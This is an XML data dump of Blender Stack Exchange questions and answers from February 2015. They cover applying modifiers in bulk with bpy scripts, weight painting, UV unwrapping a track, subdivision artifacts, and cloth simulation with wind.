  <row Id="25977" PostTypeId="1" AcceptedAnswerId="25987" CreationDate="2015-02-18T12:38:08.553" Score="8" ViewCount="2675" Body="&lt;p&gt;I got a lot of objects, with different modifiers, can i apply the modifiers together but with individual values for each single object? (in order to save time?)&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="12" LastEditDate="2015-02-18T14:56:24.930" LastActivityDate="2021-03-25T11:45:52.653" Title="Is there any option to select all objects in scene and then apply all the modifiers together for every single object?" Tags="&lt;modifiers&gt;" AnswerCount="2" CommentCount="8" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="25979" PostTypeId="2" ParentId="25977" CreationDate="2015-02-18T12:55:57.013" Score="4" Body="&lt;p&gt;This will do what you want: Applies modifiers for all selected objects:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;for ob in [ob for ob in bpy.context.selected_objects if ob.type == 'MESH']:&#xA;    b_me = bmesh.new()&#xA;    b_me.from_object(ob, bpy.context.scene)&#xA;    b_me.to_mesh(ob.data)&#xA;    b_me.free()&#xA;&#xA;    for mod in ob.modifiers:&#xA;        ob.modifiers.remove(mod)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To add modifier (wireframe) for all selected objects:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for ob in [ob for ob in bpy.context.selected_objects if ob.type == 'MESH']:&#xA;    mod = ob.modifiers.new(name='Wire', type='WIREFRAME')&#xA;    mod.thickness = 0.02 # SET THIS&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-02-18T13:01:56.083" LastActivityDate="2015-02-18T13:01:56.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25980" PostTypeId="2" ParentId="25975" CreationDate="2015-02-18T13:02:31.360" Score="3" Body="&lt;p&gt;You can easily use the &lt;em&gt;Wireframe&lt;/em&gt; modifier to do something like this. You will want to untick the &lt;em&gt;Replace Original&lt;/em&gt; checkbox. You will have about as low-res of an effect as you can get. One other important thing is &lt;em&gt;Subdivision&lt;/em&gt; modifiers do affect it, so you may need to move the &lt;em&gt;Wireframe&lt;/em&gt; modifier up or down the modifier stack, and you may also need to enable &lt;em&gt;Crease Edges&lt;/em&gt; to keep the wireframe from deforming.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AXjdW.gif&quot; alt=&quot;Wireframe Modifier&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sadly the &lt;em&gt;Wireframe&lt;/em&gt; node in the material editor does not follow the mesh edges, but the triangulated mesh (quads are treated as two triangles, etc.)&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-02-18T13:02:31.360" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25981" PostTypeId="2" ParentId="25976" CreationDate="2015-02-18T13:35:46.680" Score="4" Body="&lt;p&gt;You can use the &lt;em&gt;Decimate&lt;/em&gt; modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select your object, and in the Properties panel, click the &lt;em&gt;Modifiers&lt;/em&gt; tab; there, click &lt;em&gt;Add Modifier&lt;/em&gt; and select &lt;em&gt;Decimate&lt;/em&gt;. There are a few modes to select from, which give you a slightly different result, but you'll probably want to use &lt;em&gt;Collapse&lt;/em&gt;. This mode as a &lt;em&gt;Ratio&lt;/em&gt; slide, which you can use to control how much to decimate your object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xJIy4.gif&quot; alt=&quot;Decimate Modifier&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="6204" LastEditDate="2015-02-18T13:52:10.070" LastActivityDate="2015-02-18T13:52:10.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25982" PostTypeId="1" CreationDate="2015-02-18T14:44:53.543" Score="1" ViewCount="1219" Body="&lt;p&gt;I made an animation with F-Modifier on the Graph Editor and it's working, starts from 0 to the infinite...but if i need to make it stops at for example frame 200, how can i do that?&lt;/p&gt;&#xA;" OwnerUserId="9718" LastActivityDate="2015-02-18T15:04:31.973" Title="I made a Cycle Animation with F-Modifier, but how can i stop it in a exact frame?" Tags="&lt;animation&gt;&lt;keyframes&gt;&lt;graph-editor&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="25983" PostTypeId="2" ParentId="25982" CreationDate="2015-02-18T15:04:31.973" Score="1" Body="&lt;p&gt;if you want to limit the whole &lt;strong&gt;animation&lt;/strong&gt; use the &lt;strong&gt;limit&lt;/strong&gt; modifier :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/d1aDz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and to limit one &lt;strong&gt;modifier&lt;/strong&gt; only use the &lt;strong&gt;Restrict Frame Range&lt;/strong&gt; option :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qGfBz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-02-18T15:04:31.973" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25984" PostTypeId="1" AcceptedAnswerId="25995" CreationDate="2015-02-18T15:08:36.690" Score="2" ViewCount="321" Body="&lt;p&gt;So I am having a problem where the subdivision modifier will constantly distort my models in a very odd way. The subdivision modifier causes the model to warp inside itself at the middle of my model. I will include a before and after picture of the application of the subdivision modifier. I am getting fairly annoyed with this problem so I would very much appreciate if some one could clarify why this is happening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, Nova &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ApeVH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jZi8a.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mBzlD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11041" LastActivityDate="2015-02-18T22:02:10.903" Title="The Subdivision Modifier Keeps Causing My Models To Warp Inside Of Itself" Tags="&lt;modifiers&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25985" PostTypeId="1" AcceptedAnswerId="26027" CreationDate="2015-02-18T15:10:14.417" Score="3" ViewCount="785" Body="&lt;p&gt;I want to create a simulation of leaves blowing in the wind using blender v2.72, just like &lt;a href=&quot;https://vimeo.com/12068802&quot; rel=&quot;nofollow&quot;&gt;this tutorial&lt;/a&gt; (&lt;a href=&quot;https://cgcookie.com/archive/creating-a-scene-of-blowing-leaves/&quot; rel=&quot;nofollow&quot;&gt;archive&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is, I can't get the wind force field to act on the cloth simmed leaves once they are emitted by a particle emitter. nHere is a breakdown of what I tried to get the wind blowing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a plane (at 0,0,0) as a particle emitter, adjusted the number of particles to 20, set the start and end frames to 1 and adjusted the lifetime to 2000. Under velocity, I set random to 0.2. I then set the physics to off (&quot;No&quot; in the settings) and switched off the rendering of particles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created another plane (also at 0,0,0) to act as the leaf mesh, subdivided it a few times in edit mode, applied a particle instance modifier to it, and selected the emitter plane as the object, I also checked &quot;size&quot; in the &quot;create from&quot; field to make the leaves smaller. After this, I applied cloth simulation to this &quot;leaf&quot; plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then created a ground plane, scaled it up to 2, placed it below the emitter plane at (0,0,-0.2) and applied collision physics to it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this stage, hitting play results in the &quot;leaves&quot; realistically falling down onto the ground plane with cloth physics working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is I then can't get a wind force (in the physics tab) to act upon the leaves.&#xA;I tried adding an empty and applying a wind force field to it, but no matter where this wind field is directed and no matter how strong I make it, the leaves don't react to it.&lt;/p&gt;&#xA;" OwnerUserId="12668" LastEditorUserId="2217" LastEditDate="2015-11-22T23:01:19.613" LastActivityDate="2015-11-22T23:01:19.613" Title="Mesh with cloth simulation and particle instance modifiers (used in a particle system) not responding to wind" Tags="&lt;particles&gt;&lt;cloth-simulation&gt;&lt;force-fields&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25986" PostTypeId="1" CreationDate="2015-02-18T15:16:34.857" Score="0" ViewCount="174" Body="&lt;p&gt;What does it mean when it looks like this? I'm not sure what I did wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vEg1T.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2XoMh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/crEUp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9495" LastEditorUserId="9495" LastEditDate="2015-02-18T15:54:21.090" LastActivityDate="2015-02-18T18:19:02.343" Title="Weight painting is acting wierd" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="11" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25987" PostTypeId="2" ParentId="25977" CreationDate="2015-02-18T15:51:55.103" Score="4" Body="&lt;p&gt;Select all the objects with modifiers that should be applied and then press &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;C&lt;/kbd&gt;. In the dialog appeared select the second variant, i.e &lt;em&gt;Mesh from Curve/etc&lt;/em&gt;. That will apply all the modifiers respectively.&lt;/p&gt;&#xA;&lt;p&gt;In Blender 2.8 and above, the hotkey for this operation was dropped so you have to call it from viewport menu &amp;gt; Object &amp;gt; Convert To. You can assign a shortcut to it yourself or in viewport press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; —&amp;gt; &lt;em&gt;Visual Geometry to Mesh&lt;/em&gt; which essentially will call the same Convert To &amp;gt; Mesh operator.&lt;/p&gt;&#xA;&lt;p&gt;Probably you will need to create backups of the meshes to have possibility to redo something with modifiers if needed.&lt;/p&gt;&#xA;&lt;p&gt;Be careful applying modifiers to objects that share mesh data, as it can lead to unexpected results due to instancing; only one mesh will be used for all instances which means that modifiers will be copied from the very first instance and modifiers on other instances won't be taken into account as well as still-active modifiers on unselected object instances can cause severe performance impacts.&lt;/p&gt;&#xA;" OwnerUserId="1245" LastEditorUserId="1245" LastEditDate="2021-03-25T11:45:52.653" LastActivityDate="2021-03-25T11:45:52.653" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25988" PostTypeId="2" ParentId="25986" CreationDate="2015-02-18T16:11:43.253" Score="1" Body="&lt;p&gt;A vertex can be in multiple vertex groups. I think that's why you groups look good but move like that : other associated vertex groups. You can see that in edit mode with the selected vertices in N panel, vertex weight with associated groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DQc0L.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here you can change weight or remove a group from the list of vertices associated groups&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-02-18T16:11:43.253" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25989" PostTypeId="1" CreationDate="2015-02-18T16:26:59.433" Score="0" ViewCount="812" Body="&lt;p&gt;I am working on a scene with a Lighthouse in it.  I created and textured it after partitioning different sections so that it would be easier to place the textures and then rejoined the mesh.  Everything looked great yesterday but today the lighthouse has lost one texture.  I can partition the mesh again and replace the mesh and then rejoin it but I don't understand what happened.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone explain what might have caused this and how I can avoid it in the future?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The text I'm using refers to Blender 2.5.  It says, &quot;If you notice any strange effects when rendering, try entering Edit Mode, select all vertices and use the &quot;Recalculate&quot; Normals, or &quot;Remove Doubles&quot; options in the Tool Shelf.  As a result of separating the mesh the Normals may have flipped, or you may have created a double mesh.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Blender 2.72 I cannot find a way to Recalculate Normals or Remove Doubles. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/h9xPz.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8332" LastEditorUserId="8332" LastEditDate="2015-02-18T17:55:53.517" LastActivityDate="2015-02-18T17:55:53.517" Title="What can cause a texture to disappear on a mesh?" Tags="&lt;mesh&gt;&lt;texturing&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="25990" PostTypeId="2" ParentId="25986" CreationDate="2015-02-18T17:45:37.410" Score="1" Body="&lt;p&gt;The finger mesh is parented to more than one bone &quot;precisely the next finger&quot; as you can see, and the last bone of the finger has no vertices:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yrOAc.png&quot; width=&quot;200&quot; height=&quot;200&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/9EQEJ.png&quot; width=&quot;200&quot; height=&quot;200&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/0qLiO.png&quot; width=&quot;200&quot; height=&quot;200&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main problem is the &lt;strong&gt;normals&lt;/strong&gt; of the mesh, so to solve the problem :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;delete the &lt;strong&gt;Armature modifier&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;select the body and go in edit mode select all vertices and &lt;strong&gt;Recalculate the normals&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;go to object mode and parent the body to the Armature using &lt;strong&gt;Automatic weight&lt;/strong&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;this will give you a clean result like this :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DxSnN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-02-18T18:19:02.343" LastActivityDate="2015-02-18T18:19:02.343" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25991" PostTypeId="1" AcceptedAnswerId="25994" CreationDate="2015-02-18T18:15:29.953" Score="6" ViewCount="1912" Body="&lt;p&gt;For my banked road I sort of managed to make it look like it is a racing track.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am really stuck with the pink part that is completely flat. I have a road texture and want to apply it to that, so that it follows the road &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it should be easy but I don't know how to do it. I have searched but can't seem to find the right tutorial for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3gpTG.jpg&quot; alt=&quot;My track&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11264" LastEditorUserId="2217" LastEditDate="2015-02-18T23:52:43.247" LastActivityDate="2015-02-19T03:41:58.573" Title="How to unwrap a circular track" Tags="&lt;uv&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25992" PostTypeId="2" ParentId="25933" CreationDate="2015-02-18T19:27:23.293" Score="2" Body="&lt;p&gt;This is how weights work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The weight doesn't define an &lt;em&gt;influence&lt;/em&gt; of a particular bone; It describes the &lt;em&gt;Mix factor&lt;/em&gt; of influence between multiple bones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So a vertex with 1% weight on one bone and 0% on all other bones will be 100% influenced by the 1% bone.&lt;br&gt;&#xA;A vertex with 1% weight on one bone and 50% weight on another bone will be almost entirely controlled by the 50% bone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, a vertex is always influenced 100%. Weight only controls which bones do the influencing.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;To get a result similar to what I think you are expecting, add a second bone weighted to all the vertices by 100%. Now the first bone's weights will cause non-uniform influences, as you might expect.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-02-18T19:27:23.293" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25993" PostTypeId="2" ParentId="3251" CreationDate="2015-02-18T19:27:48.690" Score="2" Body="&lt;p&gt;I just found solution ( it is same as above, but for me much better for understand :) )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you go to the Object properties in your linked scene, there's a dropdown menu that allows you to select objects. Make sure the cloth object is selected. It'll have an L next to it indicating it's a linked object. Then you can click the little pin icon which will pin the object selected in the dropdown menu to the properties panel even if you select another object. Now switch to the Physics tab with the cloth bake settings and you should be able to press Bake.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sDveB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1910" LastActivityDate="2015-02-18T19:27:48.690" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25994" PostTypeId="2" ParentId="25991" CreationDate="2015-02-18T19:29:11.867" Score="8" Body="&lt;p&gt;Use the Follow Active Quad UV unwrap option.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Click to select a segment of your track as the active face(s).&lt;/li&gt;&#xA;&lt;li&gt;Tap A to select all other faces as well.&lt;/li&gt;&#xA;&lt;li&gt;Press U to UV Unwrap and select Follow Active Quad&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The track should be unwrapped properly with just a little adjustment needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WvNlN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="41" LastEditorUserId="41" LastEditDate="2015-02-19T03:41:58.573" LastActivityDate="2015-02-19T03:41:58.573" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25995" PostTypeId="2" ParentId="25984" CreationDate="2015-02-18T19:38:22.633" Score="5" Body="&lt;p&gt;The topology of your model is not suitable for subdivision surface. Subsurf works best with quads, and the entire side of your gun model is made up of ngons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are looking for a quick way to chamfer the edge of the model, consider using a bevel modifier, which works nicely with ngons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lTFMd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Excuse the ridiculous model, hacked it together on a laptop in 30 seconds.)&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2015-02-18T19:38:22.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25996" PostTypeId="2" ParentId="25957" CreationDate="2015-02-18T20:16:32.877" Score="2" Body="&lt;p&gt;You have two main issues.  The first is that you have a transition point which is joined by a single vertex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hrvdN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That one vertex will cause you problems with several areas of Blender. Sculpting, Rendering and generative Modifiers to name a few.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no face at that center point and I imagine this is what's causing the Solidify Modifier to fail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other problem with this model is that the quads have all been converted to triangles and the loops are sort of spiraling around so un-triangulation is certain to fail because there are no loops with clearly defined axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without quads that have well-defined loops, some important modeling tools will not work. So to start with we should try and avoid this as best as we can with the repairs to follow.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can start by selecting all the vertices around the edges and use 'Make Face'&lt;kbd&gt;f&lt;/kbd&gt; so there is a well defined face to start working with.  You can do this by using &lt;kbd&gt;Alt&lt;/kbd&gt;+'Mouse-Select-Click' on one of the boundary edges.  In this case it will select both perimeter loops since they are attached but you can simply unselect the second loop to get started.  This will be easier to do in wireframe mode using the Circle-Select tool&lt;kbd&gt;c&lt;/kbd&gt; and 'Menu-Select-Click'(this will un-select).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now with the new face selected use 'Extrude'&lt;kbd&gt;e&lt;/kbd&gt; to extend the edges out into some extra faces.  Repeat this for the other side, select both faces and use &lt;kbd&gt;x&lt;/kbd&gt;then&lt;kbd&gt;f&lt;/kbd&gt; for 'Delete-&gt;Faces'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UPUpT.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can also run 'Remove Doubles' from the 'Specials Menu'&lt;kbd&gt;w&lt;/kbd&gt; to clear up some of the overlapping Vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you've done that you can select some of the edges which are close together and double tap &lt;kbd&gt;g&lt;/kbd&gt; to slide them over to nearby edges.  If you have 'AutoMerge Editing' activated, the overlapping vertices that result from this will be removed automatically without you having to repeatedly use 'Remove Doubles'.  Using these tools you should be able to clean up many of the rendering errors that are visible along the boundaries of the model.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/k4EVN.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That one vertex is still a problem but now it's only visible from the inside.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was not able to repair this without Applying the Solidify Modifier.&lt;br&gt;&#xA;The modifier is causing the vertices at the junction to be difficult(each of them has a 'virtual position' as well and this is causing some logical conflicts some of the mesh editing tools).  If you want to clean that area a little more then you should Apply the Modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should consider looking for an import option that can maintain quads, it will allow you to use a lot more of Blender mesh editing tools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:  After trying again, I was able to repair the inside areas without applying the modifier.  Using a combination of 'Join'&lt;kbd&gt;j&lt;/kbd&gt; and 'Edges-&gt;Rotate Edge'&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;e&lt;/kbd&gt; and sliding vertices with &lt;kbd&gt;g&lt;/kbd&gt;&lt;kbd&gt;g&lt;/kbd&gt;, the area can be fixed but it's a bit of a Rubik's Cube to solve.  When the Solidy Modifier causes one of the editing operations to go bonkers, use Undo and try adding or rotating a different edge. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've posted a video to Vimeo that shows this in action &lt;a href=&quot;https://vimeo.com/119991069&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://vimeo.com/119991069&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2015-02-18T21:05:20.550" LastActivityDate="2015-02-18T21:05:20.550" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25997" PostTypeId="1" AcceptedAnswerId="26006" CreationDate="2015-02-18T20:16:39.087" Score="2" ViewCount="517" Body="&lt;p&gt;I have a 3D beaver that I have made in Blender, before I saved it, his head was firmly on his body but as soon as I save it and reopen, the head (which is one object of joined components) appears like this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/faG5x.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;&lt;strong&gt;Of additional note:&lt;/strong&gt; the ears have some bendy modifications (I am a newbie in Blender so followed a stuffed bear tutorial and changed it a bit).&lt;br&gt;&lt;br&gt;&#xA;I know the answer is probably simple, have I missed a step in my building of the model?&lt;br&gt;&#xA;There is nothing else special about it, it's simply spheres and cylinders with the basic diffuse material. Apologies for my inability but I have yet to find something Googling.&lt;/p&gt;&#xA;" OwnerUserId="9621" LastActivityDate="2015-02-18T21:43:27.493" Title="Object moves when saved" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="25998" PostTypeId="2" ParentId="25961" CreationDate="2015-02-18T20:28:51.070" Score="5" Body="&lt;p&gt;It could be your UV coordinates, which are &quot;generated&quot;. Since they are probably calculated in world coordinates, moving the object also moves the UV coordinates. It could cause shimmering &quot;noise&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think your node set up is what you want really. You should use the hair BSDF shader. Put 2 nodes using hair BSDF, one for reflection (hair color), and one for transmission (hair translucency). Mix between them and you are done. Consider creating manual UV coordinates and not using generated ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;" OwnerUserId="4960" LastActivityDate="2015-02-18T20:28:51.070" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25999" PostTypeId="2" ParentId="24473" CreationDate="2015-02-18T20:33:14.590" Score="11" Body="&lt;p&gt;Alt key in most Linux window managers doesn't work properly with blender. You can configure it in various window managers, but the easiest solution for me is to shift+alt click. It will select an edge loop, but its in a &quot;additive mode&quot; so it works for selecting 1 edge loop, and continues selecting edge loops as if you are shift selecting multiple items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry if this text description is confusing, but try shift+alt click on the edge loop and it should achieve what you want.&lt;/p&gt;&#xA;" OwnerUserId="4960" LastActivityDate="2015-02-18T20:33:14.590" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26000" PostTypeId="2" ParentId="25945" CreationDate="2015-02-18T20:35:34.053" Score="0" Body="&lt;p&gt;Your mesh appears to have backwards &quot;normals&quot;. Flip the normals, then try the parenting method again with automatic weights. It should work!&lt;/p&gt;&#xA;" OwnerUserId="4960" LastActivityDate="2015-02-18T20:35:34.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26001" PostTypeId="1" AcceptedAnswerId="26007" CreationDate="2015-02-18T20:54:48.010" Score="1" ViewCount="105" Body="&lt;p&gt;For this question, I am trying to merge two things together. For the first part, I would like to have my empty that fires bullets to fire at the center of the screen while also having a spray pattern (sort of like the bullets shoot randomly, but I use an animation). I asked a question on how to have my bullets be fired to the center of the screen, and I received a great answer. I use a ray and an empty at the end of it, and the empty collides with objects. The empty that fires the bullets just tracks to it. If you do not understand, you can look at the QA in depth &lt;a href=&quot;https://blender.stackexchange.com/questions/13790/how-do-i-make-a-weapon-shoot-at-the-center-of-the-screen&quot;&gt;here&lt;/a&gt;. For the second part, I would like to have my bullets be fired in a &quot;spray pattern.&quot; I achieved this using an animation on my empty that fires the bullets. For the question, I am trying to merge both of these things together. I would like my empty to point at the center of the screen while shooting in a pattern. Would I just need to apply both and it would work? Would the animation need to be removed? If you have any idea of how to achieve this, please post anything below. Thank you!&lt;/p&gt;&#xA;" OwnerUserId="1597" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.940" LastActivityDate="2015-03-05T17:02:53.070" Title="&quot;Track to&quot; and animations at the same time?" Tags="&lt;python&gt;&lt;animation&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26002" PostTypeId="2" ParentId="2428" CreationDate="2015-02-18T21:04:35.700" Score="1" Body="&lt;p&gt;Or simpler&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;import threading&#xA;&#xA;def to_run(): # should not take arguments.&#xA;    ... # code to execute in the thread (can be a loop, ...) &#xA;        # it uses the same variables as in the main thread.&#xA;&#xA;new_thread = threading.Thread() # create a new thread object.&#xA;new_thread.run = to_run&#xA;new_thread.start() # the new thread is created and then is running.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12675" LastEditorUserId="241" LastEditDate="2015-02-18T21:46:06.607" LastActivityDate="2015-02-18T21:46:06.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26003" PostTypeId="1" CreationDate="2015-02-18T21:10:04.887" Score="1" ViewCount="1062" Body="&lt;p&gt;I have 2 animations one for each arm and I can't go back because I made them separate from the beginning. Help?&lt;/p&gt;&#xA;" OwnerUserId="9495" LastActivityDate="2015-04-16T14:44:29.443" Title="How to make two armature actions into one action?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
